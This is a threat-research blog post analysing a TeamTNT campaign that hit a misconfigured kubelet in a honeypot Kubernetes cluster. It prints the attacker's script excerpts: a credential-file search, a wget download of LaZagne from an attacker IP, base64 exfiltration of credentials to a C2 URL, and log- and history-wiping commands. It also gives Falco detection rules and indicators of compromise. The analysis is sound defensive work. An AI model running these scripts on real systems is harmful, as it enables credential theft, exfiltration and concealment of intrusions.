Threat news: TeamTNT targeting misconfigured kubelet

Oct 20 SANS Webinar! Solutions Forum 2022: Is Your SecOps Ready for Cloud and Containers?

TeamTNT is a prevalent threat actor who has been targeting cloud and virtual environments such as Kubernetes and Docker since at least late 2019. This threat actor is financially motivated, focusing their efforts on stealing credentials and cryptomining. In 2020, we analyzed their use of Weave Scope on an unsecured Docker API endpoint exposed to the internet. In December 2021, we attributed an attack to TeamTNT in which they targeted a vulnerable WordPress pod to steal AWS credentials.

In September 2022 we published our first annual cloud-native threat report. Alongside other hot topics from the year, we shared our in-depth analysis of the TeamTNT organization and infrastructure, their operations, and their impact on victims. You can read our findings here.

TeamTNT exploit misconfigured kubelet Kubernetes

In this blog, we will share the impact of another widespread TeamTNT campaign we recently uncovered exploiting misconfigured kubelet service in Kubernetes clusters. We will explain which misconfiguration was exploited by the attacker, which execution they ran, and how to detect it.

Kube Con NA Participation card. Sysdig Booth - P16
Stop by the Sysdig Booth to get your Kraken t-shirt, win cash prizes, and get a demo.

Save 20% on registration with code: [email protected]

What is Kubelet?

Kubelet is the process that runs on each Kubernetes node and is in charge of managing Kubernetes pods.

Whenever a new pod is scheduled on a node, the kubelet receives the specifications from the kube-apiserver and instructs the container runtime to spawn up the container that satisfies those specifications. At this point the container runtime, like containerd or cri-o, starts the requested container.

kubelet schema Kubernetes

With that being said, it is important to stress that kubelet is not a container, but a node agent directly installed and running into the machine and listening on port 10250. This port is usually open only within the Kubernetes cluster and some authentication and authorization mechanisms are generally enforced to communicate with it.

However, we misconfigured the kubelet agent in one of our honeypot clusters and TeamTNT was able to gain access into a pod, download binaries, and launch malicious executions.

Cloud Native Con Speaker Card: Tuesday, Oct. 25 - Detecting Threats in GitHub with Falco at 9.15 am, and The Eye of Falco: You can escape but not hide, at 3:40 pm
Attending Cloud Native SecurityCon? The Falco Team would love to host you after for “Falco at the Firebird”.

Anatomy of the misconfigured kubelet attack

The attack that we attributed to TeamTNT in December 2021 was very simple: it downloaded and ran a bash script to steal AWS credentials and exfiltrate them to a known TeamTNT C2 server. The one we detected, in this case, has the same main goal, stealing credentials, but it is a bit more complex and refined.

Once the TeamTNT exploited the kubelet misconfiguration and got access into one of the running pods, they installed the required packages and downloaded the following binaries.

The Sysdig Threat Research Team analyzed the flow in which the malicious binaries were downloaded into the victim pod.

TeamTNT diagram flow infection

The first payload (.x1mr) set the stage for the initial access into the pod. This script downloaded the other binaries, changing their permissions and launching them.

At this point, the container was infected with what we believe could be tsunami malware (ptyw64), running in background and spawning a backdoor that opened communication with a remote machine.

Instead, the kill_miner bash script was executed to discover processes running on the system in order to stop cryptocurrency miners and leave the work to the other scripts.

Moreover, many other scripts were executed with the goal of stealing credentials and sending them to the C2 server:

  • aws2.sh is a refined version of the script we analyzed in December 2021. It searches for AWS related credentials in files, process environment variables, metadata endpoint, and Docker container layers.
  • creds.sh is also similar, but it also looks for filenames that can store other sensitive credentials.

CRED_FILE_NAMES=("credentials" "cloud" ".s3cfg" ".passwd-s3fs" "authinfo2" ".s3backer_passwd" ".s3b_config" "s3proxy.conf" \
"access_tokens.db" "credentials.db" ".smbclient.conf" ".smbcredentials" ".samba_credentials" ".pgpass" "secrets" ".boto" \
".netrc" ".git-credentials" "api_key" "censys.cfg" "ngrok.yml" "filezilla.xml" "recentservers.xml" "queue.sqlite3" "servlist.conf" "accounts.xml" "azure.json" "kube-env")
…
for CREFILE in ${CRED_FILE_NAMES[@]}; do # echo "searching for $CREFILE"
find / -maxdepth 23 -type f -name $CREFILE 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %' >> $EDIS 
… 
  • script.sh downloads and executes a customized and light version of the open source tool Lazagne. It was used to search and discover passwords stored on the machine.

    …
    wget http://134.209.248.91/wp-content/themes/twentyseventeen/LaZagne.tar.gz
    tar xvf /tmp/.laz/LaZagne.tar.gz 2>/dev/null 1>/dev/null 
    rm -f /tmp/.laz/LaZagne.tar.gz  2>/dev/null 1>/dev/null 
    pip3 install -r /tmp/.laz/LaZagne/requirements.txt 2>/dev/null 1>/dev/null 
    rm -f /tmp/.laz/LaZagne/requirements.txt /tmp/.laz/LaZagne/README.md
    cd /tmp/.laz/LaZagne/Linux/
    python3 laZagne.py all -oN
    BASE64DATA=$(cat /tmp/.laz/LaZagne/Linux/credentials.txt | base64 -w 0)
    …
    

    Once collected, the discovered credentials were encoded in base64 and exfiltrated over network to a known TeamTNT C2 server.

    send_aws_data(){
    
        SEND_B64_DATA=$(cat $CSOF | base64 -w 0)
    
        rm -f $CSOF
    
        dload http://84.201.153.234/wp-content/themes/twentyseventeen/.b/laz6.php?b=$SEND_B64_DATA 		#2>/dev/null
    
        dload http://84.201.153.234/wp-content/themes/twentyseventeen/.b/laz6.php?b=$SEND_B64_DATA 		#2>/dev/null
    
    }
    

    Last but not least, the malicious actor tried to erase its traces, removing the retrieved credentials and the command history to remove evidence of their presence or hinder defenses.

    …
    notraces(){
    chattr -i $LOCK_FILE 2>/dev/null 1>/dev/null
    rm -f $LOCK_FILE 2>/dev/null 1>/dev/null
    rm -f /var/log/syslog.* 2>/dev/null 1>/dev/null
    rm -f /var/log/auth.log.* 2>/dev/null 1>/dev/null
    lastlog --clear --user root 2>/dev/null 1>/dev/null
    lastlog --clear --user $USER 2>/dev/null 1>/dev/null
    echo > /var/log/wtmp 2>/dev/null
    echo > /var/log/btmp 2>/dev/null
    echo > /var/log/lastlog 2>/dev/null
    echo > /var/log/syslog 2>/dev/null
    echo > /var/log/auth.log 2>/dev/null
    rm -f ~/.bash_history 2>/dev/null 1>/dev/null
    touch ~/.bash_history 2>/dev/null 1>/dev/null
    chattr +i ~/.bash_history 2>/dev/null 1>/dev/null
    history -cw
    clear
    }
    …
    

Mitigation

What’s the moral of the story?

First, you should never expose or allow anonymous requests to your kubelet service. It is an unnecessary risk and can compromise the containers you run in your environment. Moreover, if one of your containers is also a privileged one, that grants threat actors direct access to the Kubernetes node.

Second, never store your passwords, credentials, or secrets in your pods or machines. If they were breached, your secrets would be at risk, granting uncontrolled access to your resources.

Third, if possible, adopt the safest measures you can in order to secure your environment. For example, in AWS you can create your instances by choosing IMDSv2 instead of IMDSv1 to reach the metadata endpoint.

Detection

To detect at runtime some of the malicious techniques engaged by TeamTNT, you can use Falco.

Falco is a CNCF incubating project that can help in the detection of anomalous activities in cloud native environments, sending alerts at runtime. In order to do this, use the default Falco rules or create more specific ones leveraging its easy and flexible language.

You can receive Falco alerts whenever suspicious executions such as these are detected.

- macro: private_aws_credentials
condition: >
(proc.args icontains "aws_access_key_id" or
proc.args icontains "aws_secret_access_key" or
proc.args icontains "aws_session_token" or
proc.args icontains "accesskeyid" or
proc.args icontains "secretaccesskey")

- rule: Find AWS Credentials
desc: Find or grep AWS credentials
condition: >
spawned_process and
((grep_commands and private_aws_credentials) or
(proc.name = "find" and proc.args endswith ".aws/credentials"))
output: Search AWS credentials activities found (user.name=%user.name user.loginuid=%user.loginuid proc.cmdline=%proc.cmdline container.id=%container.id container_name=%container.name evt.type=%evt.type evt.res=%evt.res proc.pid=%proc.pid proc.cwd=%proc.cwd proc.ppid=%proc.ppid proc.pcmdline=%proc.pcmdline proc.sid=%proc.sid proc.exepath=%proc.exepath user.uid=%user.uid user.loginname=%user.loginname group.gid=%group.gid group.name=%group.name container.name=%container.name image=%container.image.repository:%container.image.tag)
priority: NOTICE
tags: [mitre_credential_access, process, aws]

- macro: private_key_or_password
condition: >
(proc.args icontains "BEGIN PRIVATE" or
proc.args icontains "BEGIN RSA PRIVATE" or
proc.args icontains "BEGIN DSA PRIVATE" or
proc.args icontains "BEGIN EC PRIVATE" or
(grep_more and
(proc.args icontains " pass " or
proc.args icontains " ssh " or
proc.args icontains " user "))
)

- rule: Search Private Keys or Passwords
desc: >
Detect grep private keys or passwords activity.
condition: >
(spawned_process and
((grep_commands and private_key_or_password) or
(proc.name = "find" and (proc.args contains "id_rsa" or proc.args contains "id_dsa")))
)
output: >
Grep private keys or passwords activities found
(user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline container_id=%container.id container_name=%container.name image=%container.image.repository:%container.image.tag)
priority: WARNING
tags: [process, mitre_credential_access]

- rule: System procs network activity
desc: any network activity performed by system binaries that are not expected to send or receive any network traffic
condition: >
(fd.sockfamily = ip and (system_procs or proc.name in (shell_binaries)))
and (inbound_outbound)
and not proc.name in (known_system_procs_network_activity_binaries)
and not login_doing_dns_lookup
and not user_expected_system_procs_network_activity_conditions
output: >
Known system binary sent/received network traffic
(user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline connection=%fd.name container_id=%container.id image=%container.image.repository)
priority: NOTICE
tags: [network, mitre_exfiltration]

- rule: Contact EC2 Instance Metadata Service From Container
desc: Detect attempts to contact the EC2 Instance Metadata Service from a container
condition: outbound and fd.sip="169.254.169.254" and container and not ec2_metadata_containers
output: Outbound connection to EC2 instance metadata service (command=%proc.cmdline connection=%fd.name %container.info image=%container.image.repository:%container.image.tag)
priority: NOTICE
tags: [network, aws, container, mitre_discovery]

- rule: Contact cloud metadata service from container
desc: Detect attempts to contact the Cloud Instance Metadata Service from a container
condition: outbound and fd.sip="169.254.169.254" and container and consider_metadata_access and not user_known_metadata_access
output: Outbound connection to cloud instance metadata service (command=%proc.cmdline connection=%fd.name %container.info image=%container.image.repository:%container.image.tag)
priority: NOTICE
tags: [network, container, mitre_discovery]

If you want to know more about these rules, you can check the full rule descriptions on GitHub.

Summary of indicators of compromise (IoC)

IPs & URLs

  • 84.201.153.234
  • 134.209.248.91
  • http://134.209.248.91/wp-content/themes/twentyseventeen/ptyw64
  • http://134.209.248.91/wp-content/themes/twentyseventeen/kill_miner
  • http://134.209.248.91/wp-content/themes/twentyseventeen/LaZagne.tar.gz
  • http://84.201.153.234/wp-content/themes/twentyseventeen/.a/aws2.sh
  • http://84.201.153.234/wp-content/themes/twentyseventeen/.b/script.sh
  • http://84.201.153.234/wp-content/themes/twentyseventeen/.b/creds.sh
  • http://84.201.153.234/wp-content/themes/twentyseventeen/.a/upload2.php
  • http://84.201.153.234/wp-content/themes/twentyseventeen/.b/laz6.php

MD5

  • .x1mr: bb003f12a18d1e8671fa631814d3b306
  • ptyw64: 14a348ca4ca77bee9d6e5523b5fca0a5
  • kill_miner: 399a6b8bf8ae2f455f71f4c455bbd069
  • aws2.sh: 6eb1c1b3acbb0a71013826d512b3ebb6
  • creds.sh: 26986f94582fa3e035aa7a1ab71de84a
  • script.sh: f7eed3fd39095f9ed29a83bc4a4fe689
  • LaZagne.tar.gz: 04ae78c8b130f152d1f5959a54bcff72

Filenames

  • .x1mr
  • ptyw64
  • kill_miner
  • aws2.sh
  • creds.sh
  • script.sh
  • LaZagne.tar.gz

Conclusion

As we previously discovered, TeamTNT is still looking for sensitive credentials. However, this new campaign showed us that their focus is no longer only on AWS. Furthermore, other sensitive credentials related to things such as GitHub or SSH keys are also monitored by TeamTNT. With these, they can gain access to sensitive platforms and attempt lateral movement.

These new incidents reconfirm that malicious actors are continuously adopting new attack strategies and evolving their techniques to evade detection. In this case, we analyzed TeamTNT targeting a Kubernetes cluster and searching for sensitive data into the victim container. This can sometimes also lead to lateral movement and privilege escalation attempts.

As a reminder, you can use our powerful runtime security tool, Falco, to detect the suspicious activities that this campaign may trigger. And finally, you should always enforce the best security practices in your environment. Do not expose your kubelet daemon to the public network with anonymous authentication enabled and do not store your credentials in the filesystem!

Stay up to date

Sign up to receive our newest.

Related Posts

26 AWS Security Best Practices to Adopt in Production

How to mitigate kubelet’s CVE-2021-25741: Symlink exchange can allow host filesystem access

How to monitor Kubelet